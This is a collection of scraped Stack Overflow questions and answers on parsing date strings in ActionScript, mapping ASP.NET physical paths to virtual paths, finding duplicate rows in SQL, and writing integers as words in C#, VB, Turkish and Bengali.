I have been trying to find a really fast way to parse yyyy-mm-dd [hh:mm:ss] into a Date object. Here are the 3 ways I have tried doing it and the times it takes each method to parse 50,000 date time strings. Does anyone know any faster ways of doing this or tips to speed up the methods? ``` castMethod1 takes 3673 ms castMethod2 takes 3812 ms castMethod3 takes 3931 ms ``` Code: ``` private function castMethod1(dateString:String):Date { if ( dateString == null ) { return null; } var year:int = int(dateString.substr(0,4)); var month:int = int(dateString.substr(5,2))-1; var day:int = int(dateString.substr(8,2)); if ( year == 0 && month == 0 && day == 0 ) { return null; } if ( dateString.length == 10 ) { return new Date(year, month, day); } var hour:int = int(dateString.substr(11,2)); var minute:int = int(dateString.substr(14,2)); var second:int = int(dateString.substr(17,2)); return new Date(year, month, day, hour, minute, second); } ``` - ``` private function castMethod2(dateString:String):Date { if ( dateString == null ) { return null; } if ( dateString.indexOf("0000-00-00") != -1 ) { return null; } dateString = dateString.split("-").join("/"); return new Date(Date.parse( dateString )); } ``` - ``` private function castMethod3(dateString:String):Date { if ( dateString == null ) { return null; } var mainParts:Array = dateString.split(" "); var dateParts:Array = mainParts[0].split("-"); if ( Number(dateParts[0])+Number(dateParts[1])+Number(dateParts[2]) == 0 ) { return null; } return new Date( Date.parse( dateParts.join("/")+(mainParts[1]?" "+mainParts[1]:" ") ) ); } ``` --- No, Date.parse will not handle dashes by default. And I need to return null for date time strings like `"0000-00-00"`.
I've been using the following snipplet to parse UTC date strings: ``` private function parseUTCDate( str : String ) : Date { var matches : Array = str.match(/(\d\d\d\d)-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)Z/); var d : Date = new Date(); d.setUTCFullYear(int(matches[1]), int(matches[2]) - 1, int(matches[3])); d.setUTCHours(int(matches[4]), int(matches[5]), int(matches[6]), 0); return d; } ``` Just remove the time part and it should work fine for your needs: ``` private function parseDate( str : String ) : Date { var matches : Array = str.match(/(\d\d\d\d)-(\d\d)-(\d\d)/); var d : Date = new Date(); d.setUTCFullYear(int(matches[1]), int(matches[2]) - 1, int(matches[3])); return d; } ``` No idea about the speed, I haven't been worried about that in my applications. 50K iterations in significantly less than a second on my machine.
3,164
<p>If I have managed to locate and verify the existence of a file using Server.MapPath and I now want to send the user directly to that file, what is the <strong>fastest</strong> way to convert that absolute path back into a relative web path?</p>
[ { "answer_id": 3178, "author": "Yaakov Ellis", "author_id": 51, "author_profile": "https://Stackoverflow.com/users/51", "pm_score": 2, "selected": false, "text": "<p>If you used Server.MapPath, then you should already have the relative web path. According to the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.httpserverutility.mappath.aspx\" rel=\"nofollow noreferrer\">MSDN documentation</a>, this method takes one variable, <em>path</em>, which is the virtual path of the Web server. So if you were able to call the method, you should already have the relative web path immediately accessible. </p>\n" }, { "answer_id": 3218, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 7, "selected": true, "text": "<p>Perhaps this might work:</p>\n\n<pre><code>String RelativePath = AbsolutePath.Replace(Request.ServerVariables[\"APPL_PHYSICAL_PATH\"], String.Empty);\n</code></pre>\n\n<p><em>I'm using c# but could be adapted to vb.</em></p>\n" }, { "answer_id": 5222928, "author": "Canoas", "author_id": 358580, "author_profile": "https://Stackoverflow.com/users/358580", "pm_score": 5, "selected": false, "text": "<p>Wouldn't it be nice to have <strong>Server.RelativePath(path)</strong>?</p>\n\n<p>well, you just need to extend it ;-)</p>\n\n<pre><code>public static class ExtensionMethods\n{\n public static string RelativePath(this HttpServerUtility srv, string path, HttpRequest context)\n {\n return path.Replace(context.ServerVariables[\"APPL_PHYSICAL_PATH\"], \"~/\").Replace(@\"\\\", \"/\");\n }\n}\n</code></pre>\n\n<p>With this you can simply call</p>\n\n<pre><code>Server.RelativePath(path, Request);\n</code></pre>\n" }, { "answer_id": 10462610, "author": "AlexCuse", "author_id": 794, "author_profile": "https://Stackoverflow.com/users/794", "pm_score": 4, "selected": false, "text": "<p>I know this is old but I needed to account for virtual directories (per @Costo's comment). This seems to help:</p>\n\n<pre><code>static string RelativeFromAbsolutePath(string path)\n{\n if(HttpContext.Current != null)\n {\n var request = HttpContext.Current.Request;\n var applicationPath = request.PhysicalApplicationPath;\n var virtualDir = request.ApplicationPath;\n virtualDir = virtualDir == \"/\" ? virtualDir : (virtualDir + \"/\");\n return path.Replace(applicationPath, virtualDir).Replace(@\"\\\", \"/\");\n }\n\n throw new InvalidOperationException(\"We can only map an absolute back to a relative path if an HttpContext is available.\");\n}\n</code></pre>\n" }, { "answer_id": 31021328, "author": "Pierre Chavaroche", "author_id": 1928513, "author_profile": "https://Stackoverflow.com/users/1928513", "pm_score": 3, "selected": false, "text": "<p>I like the idea from Canoas. Unfortunately I had not \"HttpContext.Current.Request\" available (BundleConfig.cs).</p>\n\n<p>I changed the methode like this:</p>\n\n<pre><code>public static string RelativePath(this HttpServerUtility srv, string path)\n{\n return path.Replace(HttpContext.Current.Server.MapPath(\"~/\"), \"~/\").Replace(@\"\\\", \"/\");\n}\n</code></pre>\n" }, { "answer_id": 53850472, "author": "Lapenkov Vladimir", "author_id": 4404269, "author_profile": "https://Stackoverflow.com/users/4404269", "pm_score": 0, "selected": false, "text": "<p>For asp.net core i wrote helper class to get pathes in both directions.</p>\n\n<pre><code>public class FilePathHelper\n{\n private readonly IHostingEnvironment _env;\n public FilePathHelper(IHostingEnvironment env)\n {\n _env = env;\n }\n public string GetVirtualPath(string physicalPath)\n {\n if (physicalPath == null) throw new ArgumentException(\"physicalPath is null\");\n if (!File.Exists(physicalPath)) throw new FileNotFoundException(physicalPath + \" doesn't exists\");\n var lastWord = _env.WebRootPath.Split(\"\\\\\").Last();\n int relativePathIndex = physicalPath.IndexOf(lastWord) + lastWord.Length;\n var relativePath = physicalPath.Substring(relativePathIndex);\n return $\"/{ relativePath.TrimStart('\\\\').Replace('\\\\', '/')}\";\n }\n public string GetPhysicalPath(string relativepath)\n {\n if (relativepath == null) throw new ArgumentException(\"relativepath is null\");\n var fileInfo = _env.WebRootFileProvider.GetFileInfo(relativepath);\n if (fileInfo.Exists) return fileInfo.PhysicalPath;\n else throw new FileNotFoundException(\"file doesn't exists\");\n }\n</code></pre>\n\n<p>from Controller or service inject FilePathHelper and use:</p>\n\n<pre><code>var physicalPath = _fp.GetPhysicalPath(\"/img/banners/abro.png\");\n</code></pre>\n\n<p>and versa</p>\n\n<pre><code>var virtualPath = _fp.GetVirtualPath(physicalPath);\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3164", "https://Stackoverflow.com", "https://Stackoverflow.com/users/192/" ]
If I have managed to locate and verify the existence of a file using Server.MapPath and I now want to send the user directly to that file, what is the **fastest** way to convert that absolute path back into a relative web path?
Perhaps this might work: ``` String RelativePath = AbsolutePath.Replace(Request.ServerVariables["APPL_PHYSICAL_PATH"], String.Empty); ``` *I'm using c# but could be adapted to vb.*
3,196
<p>If I have data like this:</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>Key</th> <th>Name</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Dan</td> </tr> <tr> <td>2</td> <td>Tom</td> </tr> <tr> <td>3</td> <td>Jon</td> </tr> <tr> <td>4</td> <td>Tom</td> </tr> <tr> <td>5</td> <td>Sam</td> </tr> <tr> <td>6</td> <td>Dan</td> </tr> </tbody> </table> </div> <p>What is the SQL query to bring back the records where <code>Name</code> is repeated 2 or more times?</p> <p>So the result I would want is</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>Tom</th> </tr> </thead> <tbody> <tr> <td>Dan</td> </tr> </tbody> </table> </div>
[ { "answer_id": 3197, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 6, "selected": true, "text": "<p>Couldn't be simpler...</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>Select Name, Count(Name) As Count \n From Table\n Group By Name\n Having Count(Name) &gt; 1\n Order By Count(Name) Desc\n</code></pre>\n\n<p>This could also be extended to delete duplicates:</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>Delete From Table\nWhere Key In (\n Select Max(Key)\n From Table\n Group By Name\n Having Count(Name) &gt; 1\n )\n</code></pre>\n" }, { "answer_id": 6986, "author": "Dag Haavi Finstad", "author_id": 687, "author_profile": "https://Stackoverflow.com/users/687", "pm_score": 2, "selected": false, "text": "<p>This could also be accomplished by joining the table with itself,</p>\n\n<pre><code>SELECT DISTINCT t1.name\nFROM tbl t1\n INNER JOIN tbl t2\n ON t1.name = t2.name\nWHERE t1.key != t2.key;\n</code></pre>\n" }, { "answer_id": 13512, "author": "Ryan", "author_id": 1545, "author_profile": "https://Stackoverflow.com/users/1545", "pm_score": 2, "selected": false, "text": "<pre><code>select name from table group by name having count(name) &gt; 1\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3196", "https://Stackoverflow.com", "https://Stackoverflow.com/users/230/" ]
If I have data like this: | Key | Name | | --- | --- | | 1 | Dan | | 2 | Tom | | 3 | Jon | | 4 | Tom | | 5 | Sam | | 6 | Dan | What is the SQL query to bring back the records where `Name` is repeated 2 or more times? So the result I would want is | Tom | | --- | | Dan |
Couldn't be simpler... ```sql Select Name, Count(Name) As Count From Table Group By Name Having Count(Name) > 1 Order By Count(Name) Desc ``` This could also be extended to delete duplicates: ```sql Delete From Table Where Key In ( Select Max(Key) From Table Group By Name Having Count(Name) > 1 ) ```
3,213
<p>Is there an efficient method of converting an integer into the written numbers, for example:</p> <pre><code>string Written = IntegerToWritten(21); </code></pre> <p>would return "Twenty One".</p> <p>Is there any way of doing this that doesn't involve a massive look-up table?</p>
[ { "answer_id": 3215, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 2, "selected": false, "text": "<p>why massive lookup table?</p>\n\n<pre><code>string GetWrittenInteger(int n)\n{\n string[] a = new string[] {\"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\" }\n string[] b = new string[] { \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\" }\n string[] c = new string[] {\"Twenty\", \"Thirty\", \"Forty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\"};\n string[] d = new string[] {\"Hundred\", \"Thousand\", \"Million\"}\n string s = n.ToString();\n\n for (int i = 0; i &lt; s.Length; i++)\n {\n // logic (too lazy but you get the idea)\n }\n}\n</code></pre>\n" }, { "answer_id": 3228, "author": "Nick Masao", "author_id": 487, "author_profile": "https://Stackoverflow.com/users/487", "pm_score": 3, "selected": false, "text": "<p>I use this code.It is VB code but you can easily translate it to C#. It works</p>\n\n<pre><code>Function NumberToText(ByVal n As Integer) As String\n\n Select Case n\nCase 0\n Return \"\"\n\nCase 1 To 19\n Dim arr() As String = {\"One\",\"Two\",\"Three\",\"Four\",\"Five\",\"Six\",\"Seven\", _\n \"Eight\",\"Nine\",\"Ten\",\"Eleven\",\"Twelve\",\"Thirteen\",\"Fourteen\", _\n \"Fifteen\",\"Sixteen\",\"Seventeen\",\"Eighteen\",\"Nineteen\"}\n Return arr(n-1) &amp; \" \"\n\nCase 20 to 99\n Dim arr() as String = {\"Twenty\",\"Thirty\",\"Forty\",\"Fifty\",\"Sixty\",\"Seventy\",\"Eighty\",\"Ninety\"}\n Return arr(n\\10 -2) &amp; \" \" &amp; NumberToText(n Mod 10)\n\nCase 100 to 199\n Return \"One Hundred \" &amp; NumberToText(n Mod 100)\n\nCase 200 to 999\n Return NumberToText(n\\100) &amp; \"Hundreds \" &amp; NumberToText(n mod 100)\n\nCase 1000 to 1999\n Return \"One Thousand \" &amp; NumberToText(n Mod 1000)\n\nCase 2000 to 999999\n Return NumberToText(n\\1000) &amp; \"Thousands \" &amp; NumberToText(n Mod 1000)\n\nCase 1000000 to 1999999\n Return \"One Million \" &amp; NumberToText(n Mod 1000000)\n\nCase 1000000 to 999999999\n Return NumberToText(n\\1000000) &amp; \"Millions \" &amp; NumberToText(n Mod 1000000)\n\nCase 1000000000 to 1999999999\n Return \"One Billion \" &amp; NumberTotext(n Mod 1000000000)\n\nCase Else\n Return NumberToText(n\\1000000000) &amp; \"Billion \" _\n &amp; NumberToText(n mod 1000000000)\nEnd Select\nEnd Function\n</code></pre>\n\n<p>Here is the code in c#</p>\n\n<pre><code>public static string AmountInWords(double amount)\n{\n var n = (int)amount;\n\n if (n == 0)\n return \"\";\n else if (n &gt; 0 &amp;&amp; n &lt;= 19)\n {\n var arr = new string[] { \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\", \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\" };\n return arr[n - 1] + \" \";\n }\n else if (n &gt;= 20 &amp;&amp; n &lt;= 99)\n {\n var arr = new string[] { \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\" };\n return arr[n / 10 - 2] + \" \" + AmountInWords(n % 10);\n }\n else if (n &gt;= 100 &amp;&amp; n &lt;= 199)\n {\n return \"One Hundred \" + AmountInWords(n % 100);\n }\n else if (n &gt;= 200 &amp;&amp; n &lt;= 999)\n {\n return AmountInWords(n / 100) + \"Hundred \" + AmountInWords(n % 100);\n }\n else if (n &gt;= 1000 &amp;&amp; n &lt;= 1999)\n {\n return \"One Thousand \" + AmountInWords(n % 1000);\n }\n else if (n &gt;= 2000 &amp;&amp; n &lt;= 999999)\n {\n return AmountInWords(n / 1000) + \"Thousand \" + AmountInWords(n % 1000);\n }\n else if (n &gt;= 1000000 &amp;&amp; n &lt;= 1999999)\n {\n return \"One Million \" + AmountInWords(n % 1000000);\n }\n else if (n &gt;= 1000000 &amp;&amp; n &lt;= 999999999)\n {\n return AmountInWords(n / 1000000) + \"Million \" + AmountInWords(n % 1000000);\n }\n else if (n &gt;= 1000000000 &amp;&amp; n &lt;= 1999999999)\n {\n return \"One Billion \" + AmountInWords(n % 1000000000);\n }\n else\n {\n return AmountInWords(n / 1000000000) + \"Billion \" + AmountInWords(n % 1000000000);\n }\n }\n</code></pre>\n" }, { "answer_id": 3267, "author": "Wedge", "author_id": 332, "author_profile": "https://Stackoverflow.com/users/332", "pm_score": 7, "selected": true, "text": "<p>This should work reasonably well:</p>\n\n<pre><code>public static class HumanFriendlyInteger\n{\n static string[] ones = new string[] { \"\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\" };\n static string[] teens = new string[] { \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\" };\n static string[] tens = new string[] { \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\" };\n static string[] thousandsGroups = { \"\", \" Thousand\", \" Million\", \" Billion\" };\n\n private static string FriendlyInteger(int n, string leftDigits, int thousands)\n {\n if (n == 0)\n {\n return leftDigits;\n }\n\n string friendlyInt = leftDigits;\n\n if (friendlyInt.Length &gt; 0)\n {\n friendlyInt += \" \";\n }\n\n if (n &lt; 10)\n {\n friendlyInt += ones[n];\n }\n else if (n &lt; 20)\n {\n friendlyInt += teens[n - 10];\n }\n else if (n &lt; 100)\n {\n friendlyInt += FriendlyInteger(n % 10, tens[n / 10 - 2], 0);\n }\n else if (n &lt; 1000)\n {\n friendlyInt += FriendlyInteger(n % 100, (ones[n / 100] + \" Hundred\"), 0);\n }\n else\n {\n friendlyInt += FriendlyInteger(n % 1000, FriendlyInteger(n / 1000, \"\", thousands+1), 0);\n if (n % 1000 == 0)\n {\n return friendlyInt;\n }\n }\n\n return friendlyInt + thousandsGroups[thousands];\n }\n\n public static string IntegerToWritten(int n)\n {\n if (n == 0)\n {\n return \"Zero\";\n }\n else if (n &lt; 0)\n {\n return \"Negative \" + IntegerToWritten(-n);\n }\n\n return FriendlyInteger(n, \"\", 0);\n }\n}\n</code></pre>\n\n<p>(Edited to fix a bug w/ million, billion, etc.)</p>\n" }, { "answer_id": 8377509, "author": "Karthik", "author_id": 1080359, "author_profile": "https://Stackoverflow.com/users/1080359", "pm_score": 2, "selected": false, "text": "<pre><code>using System;\nusing System.Collections.Generic; \nusing System.Linq; \nusing System.Text; \n\nnamespace tryingstartfror4digits \n{ \n class Program \n { \n static void Main(string[] args)\n {\n Program pg = new Program();\n Console.WriteLine(\"Enter ur number\");\n int num = Convert.ToInt32(Console.ReadLine());\n\n if (num &lt;= 19)\n {\n string g = pg.first(num);\n Console.WriteLine(\"The number is \" + g);\n }\n else if ((num &gt;= 20) &amp;&amp; (num &lt;= 99))\n {\n if (num % 10 == 0)\n {\n string g = pg.second(num / 10);\n Console.WriteLine(\"The number is \" + g);\n }\n else\n {\n string g = pg.second(num / 10) + pg.first(num % 10);\n Console.WriteLine(\"The number is \" + g);\n }\n }\n else if ((num &gt;= 100) &amp;&amp; (num &lt;= 999))\n {\n int k = num % 100;\n string g = pg.first(num / 100) +pg.third(0) + pg.second(k / 10)+pg.first(k%10);\n Console.WriteLine(\"The number is \" + g);\n }\n else if ((num &gt;= 1000) &amp;&amp; (num &lt;= 19999))\n {\n int h = num % 1000;\n int k = h % 100;\n string g = pg.first(num / 1000) + \"Thousand \" + pg.first(h/ 100) + pg.third(k) + pg.second(k / 10) + pg.first(k % 10);\n Console.WriteLine(\"The number is \" + g);\n }\n\n Console.ReadLine();\n }\n\n public string first(int num)\n {\n string name;\n\n if (num == 0)\n {\n name = \" \";\n }\n else\n {\n string[] arr1 = new string[] { \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\" , \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\"};\n name = arr1[num - 1];\n }\n\n return name;\n }\n\n public string second(int num)\n {\n string name;\n\n if ((num == 0)||(num==1))\n {\n name = \" \";\n }\n else\n {\n string[] arr1 = new string[] { \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\" };\n name = arr1[num - 2];\n }\n\n return name;\n }\n\n public string third(int num)\n {\n string name ;\n\n if (num == 0)\n {\n name = \"\";\n }\n else\n {\n string[] arr1 = new string[] { \"Hundred\" };\n name = arr1[0];\n }\n\n return name;\n }\n }\n}\n</code></pre>\n\n<p>this works fine from 1 to 19999 will update soon after i complete it</p>\n" }, { "answer_id": 11943653, "author": "Joe Meyer", "author_id": 1535329, "author_profile": "https://Stackoverflow.com/users/1535329", "pm_score": 1, "selected": false, "text": "<p>Here is a <a href=\"http://forums.exchangecore.com/topic/684-convert-number-to-words-c-console-application/\" rel=\"nofollow\">C# Console Application</a> that will return whole numbers as well as decimals.</p>\n" }, { "answer_id": 27958953, "author": "Emre Guldogan", "author_id": 197652, "author_profile": "https://Stackoverflow.com/users/197652", "pm_score": 1, "selected": false, "text": "<p>Just for Turkish representation of the class <a href=\"https://stackoverflow.com/a/3267/197652\">HumanFriendlyInteger</a> (&#8593;) (Türkçe, sayı yazı karşılığı):</p>\n\n<pre><code>public static class HumanFriendlyInteger\n{\n static string[] ones = new string[] { \"\", \"Bir\", \"İki\", \"Üç\", \"Dört\", \"Beş\", \"Altı\", \"Yedi\", \"Sekiz\", \"Dokuz\" };\n static string[] teens = new string[] { \"On\", \"On Bir\", \"On İki\", \"On Üç\", \"On Dört\", \"On Beş\", \"On Altı\", \"On Yedi\", \"On Sekiz\", \"On Dokuz\" };\n static string[] tens = new string[] { \"Yirmi\", \"Otuz\", \"Kırk\", \"Elli\", \"Altmış\", \"Yetmiş\", \"Seksen\", \"Doksan\" };\n static string[] thousandsGroups = { \"\", \" Bin\", \" Milyon\", \" Milyar\" };\n\n private static string FriendlyInteger(int n, string leftDigits, int thousands)\n {\n if (n == 0)\n {\n return leftDigits;\n }\n\n string friendlyInt = leftDigits;\n\n if (friendlyInt.Length &gt; 0)\n {\n friendlyInt += \" \";\n }\n\n if (n &lt; 10)\n friendlyInt += ones[n];\n else if (n &lt; 20)\n friendlyInt += teens[n - 10];\n else if (n &lt; 100)\n friendlyInt += FriendlyInteger(n % 10, tens[n / 10 - 2], 0);\n else if (n &lt; 1000)\n friendlyInt += FriendlyInteger(n % 100, ((n / 100 == 1 ? \"\" : ones[n / 100] + \" \") + \"Yüz\"), 0); // Yüz 1 ile başlangıçta \"Bir\" kelimesini Türkçe'de almaz.\n else\n friendlyInt += FriendlyInteger(n % 1000, FriendlyInteger(n / 1000, \"\", thousands + 1), 0);\n\n return friendlyInt + thousandsGroups[thousands];\n }\n\n public static string IntegerToWritten(int n)\n {\n if (n == 0)\n return \"Sıfır\";\n else if (n &lt; 0)\n return \"Eksi \" + IntegerToWritten(-n);\n\n return FriendlyInteger(n, \"\", 0);\n }\n</code></pre>\n" }, { "answer_id": 30468102, "author": "CleverPatrick", "author_id": 22399, "author_profile": "https://Stackoverflow.com/users/22399", "pm_score": 2, "selected": false, "text": "<p>The accepted answer doesn't seem to work perfectly. It doesn't handle dashes in numbers like twenty-one, it doesn't put the word \"and\" in for numbers like \"one hundred and one\", and, well, it is recursive.</p>\n\n<p>Here is my shot at the answer. It adds the \"and\" word intelligently, and hyphenates numbers appropriately. Let me know if any modifications are needed.</p>\n\n<p>Here is how to call it (obviously you will want to put this in a class somewhere):</p>\n\n<pre><code>for (int i = int.MinValue+1; i &lt; int.MaxValue; i++)\n{\n Console.WriteLine(ToWords(i));\n}\n</code></pre>\n\n<p>Here is the code:</p>\n\n<pre><code>private static readonly string[] Ones = {\"\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\"};\n\nprivate static readonly string[] Teens =\n{\n \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\",\n \"Seventeen\", \"Eighteen\", \"Nineteen\"\n};\n\nprivate static readonly string[] Tens =\n{\n \"\", \"\", \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\",\n \"Ninety\"\n};\n\npublic static string ToWords(int number)\n{\n if (number == 0)\n return \"Zero\";\n\n var wordsList = new List&lt;string&gt;();\n\n if (number &lt; 0)\n {\n wordsList.Add(\"Negative\");\n number = Math.Abs(number);\n }\n\n if (number &gt;= 1000000000 &amp;&amp; number &lt;= int.MaxValue) //billions\n {\n int billionsValue = number / 1000000000;\n GetValuesUnder1000(billionsValue, wordsList);\n wordsList.Add(\"Billion\");\n number -= billionsValue * 1000000000;\n\n if (number &gt; 0 &amp;&amp; number &lt; 10)\n wordsList.Add(\"and\");\n }\n\n if (number &gt;= 1000000 &amp;&amp; number &lt; 1000000000) //millions\n {\n int millionsValue = number / 1000000;\n GetValuesUnder1000(millionsValue, wordsList);\n wordsList.Add(\"Million\");\n number -= millionsValue * 1000000;\n\n if (number &gt; 0 &amp;&amp; number &lt; 10)\n wordsList.Add(\"and\");\n }\n\n if (number &gt;= 1000 &amp;&amp; number &lt; 1000000) //thousands\n {\n int thousandsValue = number/1000;\n GetValuesUnder1000(thousandsValue, wordsList);\n wordsList.Add(\"Thousand\");\n number -= thousandsValue * 1000;\n\n if (number &gt; 0 &amp;&amp; number &lt; 10)\n wordsList.Add(\"and\");\n }\n\n GetValuesUnder1000(number, wordsList);\n\n return string.Join(\" \", wordsList);\n}\n\nprivate static void GetValuesUnder1000(int number, List&lt;string&gt; wordsList)\n{\n while (number != 0)\n {\n if (number &lt; 10)\n {\n wordsList.Add(Ones[number]);\n number -= number;\n }\n else if (number &lt; 20)\n {\n wordsList.Add(Teens[number - 10]);\n number -= number;\n }\n else if (number &lt; 100)\n {\n int tensValue = ((int) (number/10))*10;\n int onesValue = number - tensValue;\n\n if (onesValue == 0)\n {\n wordsList.Add(Tens[tensValue/10]);\n }\n else\n {\n wordsList.Add(Tens[tensValue/10] + \"-\" + Ones[onesValue]);\n }\n\n number -= tensValue;\n number -= onesValue;\n }\n else if (number &lt; 1000)\n {\n int hundredsValue = ((int) (number/100))*100;\n wordsList.Add(Ones[hundredsValue/100]);\n wordsList.Add(\"Hundred\");\n number -= hundredsValue;\n\n if (number &gt; 0)\n wordsList.Add(\"and\");\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 31827074, "author": "Dhiraj D B", "author_id": 3877940, "author_profile": "https://Stackoverflow.com/users/3877940", "pm_score": 1, "selected": false, "text": "<p>Just get that string and convert with the\nlike as</p>\n<pre><code>string s = txtNumber.Text.Tostring();\nint i = Convert.ToInt32(s.Tostring());\n</code></pre>\n<p>It will write only full integer value</p>\n" }, { "answer_id": 34197484, "author": "SArifin", "author_id": 5035041, "author_profile": "https://Stackoverflow.com/users/5035041", "pm_score": 1, "selected": false, "text": "<p>An extension of Nick Masao's answer for Bengali Numeric of same problem. Inital input of number is in Unicode string. Cheers!!</p>\n\n<pre><code>string number = \"২২৮৯\";\nnumber = number.Replace(\"০\", \"0\").Replace(\"১\", \"1\").Replace(\"২\", \"2\").Replace(\"৩\", \"3\").Replace(\"৪\", \"4\").Replace(\"৫\", \"5\").Replace(\"৬\", \"6\").Replace(\"৭\", \"7\").Replace(\"৮\", \"8\").Replace(\"৯\", \"9\");\ndouble vtempdbl = Convert.ToDouble(number);\nstring amount = AmountInWords(vtempdbl);\n\nprivate static string AmountInWords(double amount)\n {\n var n = (int)amount;\n\n if (n == 0)\n return \" \";\n else if (n &gt; 0 &amp;&amp; n &lt;= 99)\n {\n var arr = new string[] { \"এক\", \"দুই\", \"তিন\", \"চার\", \"পাঁচ\", \"ছয়\", \"সাত\", \"আট\", \"নয়\", \"দশ\", \"এগার\", \"বারো\", \"তের\", \"চৌদ্দ\", \"পনের\", \"ষোল\", \"সতের\", \"আঠার\", \"ঊনিশ\", \"বিশ\", \"একুশ\", \"বাইস\", \"তেইশ\", \"চব্বিশ\", \"পঁচিশ\", \"ছাব্বিশ\", \"সাতাশ\", \"আঠাশ\", \"ঊনত্রিশ\", \"ত্রিশ\", \"একত্রিস\", \"বত্রিশ\", \"তেত্রিশ\", \"চৌত্রিশ\", \"পঁয়ত্রিশ\", \"ছত্রিশ\", \"সাঁইত্রিশ\", \"আটত্রিশ\", \"ঊনচল্লিশ\", \"চল্লিশ\", \"একচল্লিশ\", \"বিয়াল্লিশ\", \"তেতাল্লিশ\", \"চুয়াল্লিশ\", \"পয়তাল্লিশ\", \"ছিচল্লিশ\", \"সাতচল্লিশ\", \"আতচল্লিশ\", \"উনপঞ্চাশ\", \"পঞ্চাশ\", \"একান্ন\", \"বায়ান্ন\", \"তিপ্পান্ন\", \"চুয়ান্ন\", \"পঞ্চান্ন\", \"ছাপ্পান্ন\", \"সাতান্ন\", \"আটান্ন\", \"উনষাট\", \"ষাট\", \"একষট্টি\", \"বাষট্টি\", \"তেষট্টি\", \"চৌষট্টি\", \"পয়ষট্টি\", \"ছিষট্টি\", \" সাতষট্টি\", \"আটষট্টি\", \"ঊনসত্তর \", \"সত্তর\", \"একাত্তর \", \"বাহাত্তর\", \"তেহাত্তর\", \"চুয়াত্তর\", \"পঁচাত্তর\", \"ছিয়াত্তর\", \"সাতাত্তর\", \"আটাত্তর\", \"ঊনাশি\", \"আশি\", \"একাশি\", \"বিরাশি\", \"তিরাশি\", \"চুরাশি\", \"পঁচাশি\", \"ছিয়াশি\", \"সাতাশি\", \"আটাশি\", \"উননব্বই\", \"নব্বই\", \"একানব্বই\", \"বিরানব্বই\", \"তিরানব্বই\", \"চুরানব্বই\", \"পঁচানব্বই \", \"ছিয়ানব্বই \", \"সাতানব্বই\", \"আটানব্বই\", \"নিরানব্বই\" };\n return arr[n - 1] + \" \";\n }\n else if (n &gt;= 100 &amp;&amp; n &lt;= 199)\n {\n return AmountInWords(n / 100) + \"এক শত \" + AmountInWords(n % 100);\n }\n\n else if (n &gt;= 100 &amp;&amp; n &lt;= 999)\n {\n return AmountInWords(n / 100) + \"শত \" + AmountInWords(n % 100);\n }\n else if (n &gt;= 1000 &amp;&amp; n &lt;= 1999)\n {\n return \"এক হাজার \" + AmountInWords(n % 1000);\n }\n else if (n &gt;= 1000 &amp;&amp; n &lt;= 99999)\n {\n return AmountInWords(n / 1000) + \"হাজার \" + AmountInWords(n % 1000);\n }\n else if (n &gt;= 100000 &amp;&amp; n &lt;= 199999)\n {\n return \"এক লাখ \" + AmountInWords(n % 100000);\n }\n else if (n &gt;= 100000 &amp;&amp; n &lt;= 9999999)\n {\n return AmountInWords(n / 100000) + \"লাখ \" + AmountInWords(n % 100000);\n }\n else if (n &gt;= 10000000 &amp;&amp; n &lt;= 19999999)\n {\n return \"এক কোটি \" + AmountInWords(n % 10000000);\n }\n else\n {\n return AmountInWords(n / 10000000) + \"কোটি \" + AmountInWords(n % 10000000);\n }\n }\n</code></pre>\n" }, { "answer_id": 39917660, "author": "Mari Faleiros", "author_id": 6093407, "author_profile": "https://Stackoverflow.com/users/6093407", "pm_score": 4, "selected": false, "text": "<p>I use this handy library called Humanizer. </p>\n\n<p><a href=\"https://github.com/Humanizr/Humanizer\" rel=\"noreferrer\">https://github.com/Humanizr/Humanizer</a></p>\n\n<p>It supports several cultures and converts not only numbers to words but also date and it's very simple to use.</p>\n\n<p>Here's how I use it:</p>\n\n<pre><code>int someNumber = 543;\nvar culture = System.Globalization.CultureInfo(\"en-US\");\nvar result = someNumber.ToWords(culture); // 